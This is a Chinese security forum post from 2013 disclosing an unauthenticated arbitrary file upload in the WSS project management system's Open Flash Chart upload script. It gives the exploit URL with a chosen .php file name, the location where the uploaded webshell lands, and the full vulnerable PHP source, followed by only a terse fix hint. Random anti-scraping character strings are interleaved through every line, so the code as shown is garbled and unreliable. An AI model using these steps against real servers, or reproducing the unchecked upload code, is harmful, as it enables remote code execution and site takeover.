找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2644|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
3 q) `; o9 p/ j2 c2 |: u 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
+ ]4 d$ }! z5 M9 f' |' s. Y5 P/ [0 [4 z9 V9 |& I: A; ?$ m
利用:
% t1 m) ^4 b3 r3 R0 H  j4 _/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
4 D, a, d* ~& X  o5 l. t5 k, P5 k2 F" f' d; @4 }
Post任意数据
& ?$ D. K7 ^7 o* t1 |保存位置http://localhost/chart/tmp-upload-images/hfy.php
5 l1 Z( c5 u- b& p
3 z$ z: W3 P+ O9 z: }7 ]  N# F' d  c" n! }
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
9 \8 p% \6 t3 O7 G! Q9 P
! U% j! I6 Y0 Y5 r, K5 u<?php
% L$ L8 w* J1 {& F4 ?
/ }: e( b% {' N+ Q( e$ e& i//
2 u7 E. h7 g( }1 R7 s* W- ~+ i// In Open Flash Chart -> save_image debug mode, you# f, ?( c, ^& K8 k
// will see the 'echo' text in a new window.
! [+ Q0 P, h8 M( \//( e0 W+ M5 L$ `' R$ h4 w

% n5 J' \' G# h! a2 t/*
; [" }) Y9 G1 U6 t  }/ N& \# J. F$ Y. n0 j
print_r( $_GET );
- w7 \4 [' a& A( ^0 z5 S& g" P+ T' Lprint_r( $_POST );) ]% g3 B  f- n( ]9 X3 r0 m
print_r( $_FILES );( D- Q. o4 Q. ^" ?. F

+ h( f' N9 L8 n% Z4 Rprint_r( $GLOBALS );0 p9 J" R% w+ i9 K6 i+ Z$ `1 E
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
* h% \; L8 W2 N# G! T, }4 V3 ?. w- j; c1 P
*/
) y# F# a4 g, m3 t9 }// default path for the image to be stored //
/ C$ L& [9 \, y2 v$default_path = '../tmp-upload-images/';& m5 q- j' J  @, Z; p2 d* Q% |
# A& N* f0 |- @* W% P
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
/ ~- J0 W$ G7 P% U
' B7 M2 h* f( O// full path to the saved image including filename //  d8 Q, h. C. L! H8 I. F/ G* K
$destination = $default_path . basename( $_GET[ 'name' ] );
/ M9 }5 C/ z0 ^& m5 o; R3 q$ S, S, ~# n* [8 O+ S: T$ R
echo 'Saving your image to: '. $destination;
6 w# [" ?  z# t; ?  t3 S; i& Y// print_r( $_POST );
6 f, ]6 p3 _; ]. v2 g: X. x2 d2 O// print_r( $_SERVER );
3 q1 @  n* X7 R: M. d6 Q// echo $HTTP_RAW_POST_DATA;9 }' K$ `3 Q. r3 t5 _$ X  ]
/ F2 f5 T/ i' B" A5 x) H! Z# S
//1 b& i$ O( N5 H+ `- {
// POST data is usually string data, but we are passing a RAW .png1 L( v2 ~8 `, _+ ~6 [" f
// so PHP is a bit confused and $_POST is empty. But it has saved
+ H9 l* ~' b; r7 P' h% z// the raw bits into $HTTP_RAW_POST_DATA
; Z% n$ e* h( r" q% h* h. v//8 n3 B, @7 B+ ~

! B# k& p# D& S2 f* {8 K' K. }$jfh = fopen($destination, 'w') or die("can't open file");
& w1 S9 @: c6 w/ r2 Efwrite($jfh, $HTTP_RAW_POST_DATA);
  c  a0 i. j) G' A  Cfclose($jfh);( G/ h9 Q4 w8 i5 l0 u/ u$ `
! a3 z# b2 p( `% {+ ?) Y- w+ Q" F
//
  A. P, d4 s1 h  W3 R) j7 G// LOOK:' R, [0 Z: j' h! j2 Y! u) d
//
! L& X( d7 u; X  S- `exit();5 k( F- c' h8 d7 [: g+ e0 l- A
//
: C: n" h( O6 {6 [1 k+ n9 K// PHP5:; e  ?; K5 v% l1 e" m' B3 A
//
. x* Q, J( i5 e" k. x6 V$ Q3 s- y* E
& ^# t, c- p) I5 z% _1 Q
// default path for the image to be stored //
+ m9 p6 B, u* D9 V$ G3 y$default_path = 'tmp-upload-images/';  L- \0 `: s. p

& w. G! ]0 m: V; F5 ~1 F# _if (!file_exists($default_path)) mkdir($default_path, 0777, true);2 P$ b; {9 M6 A1 R  \) a  E
. g, w% `3 W4 k  @
// full path to the saved image including filename //
2 `, n3 J- e) Y7 Q+ N% @/ D# |$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); , j' q) {7 D9 R: ^1 F

/ B2 Q( `- j4 U  Y// move the image into the specified directory //
! j. P' h5 s! x% I$ h; ?if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {! J* F) U* y/ d1 a/ {' Z8 [
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
  s6 m% R( |! |} else {
/ Q8 n5 U- I" D' U    echo "FILE UPLOAD FAILED";
: _& U  Y" r! @" d* ]+ U4 n% l}% u& A3 U) L4 p0 v/ t% i

$ u& P, [' @9 x! b6 W
; i: [1 P0 t4 Z?>1 y; s3 Y6 t$ {8 U# X3 A7 G

. f4 R1 P& ^8 U/ Y( I2 I
/ m6 p/ S: z( A( \1 A0 m% |
! ~; u, D% T0 U( Q7 M" q0 g" X' Z7 h0 @4 ?0 V% L
9 g* F9 r) a8 f6 @7 R

- u) J& A/ N/ c! U: w( r修复方案: 4 i3 w& A. e! h7 @# o' i2 C' n" X0 `
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 : h7 E5 z, Q' k9 f

4 _6 T: M2 r! r
2 a1 d& `( c7 ^, q" B' f. T2 t; p0 l8 o1 A: L
( ~  n% Z9 _5 _, J5 C$ a

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表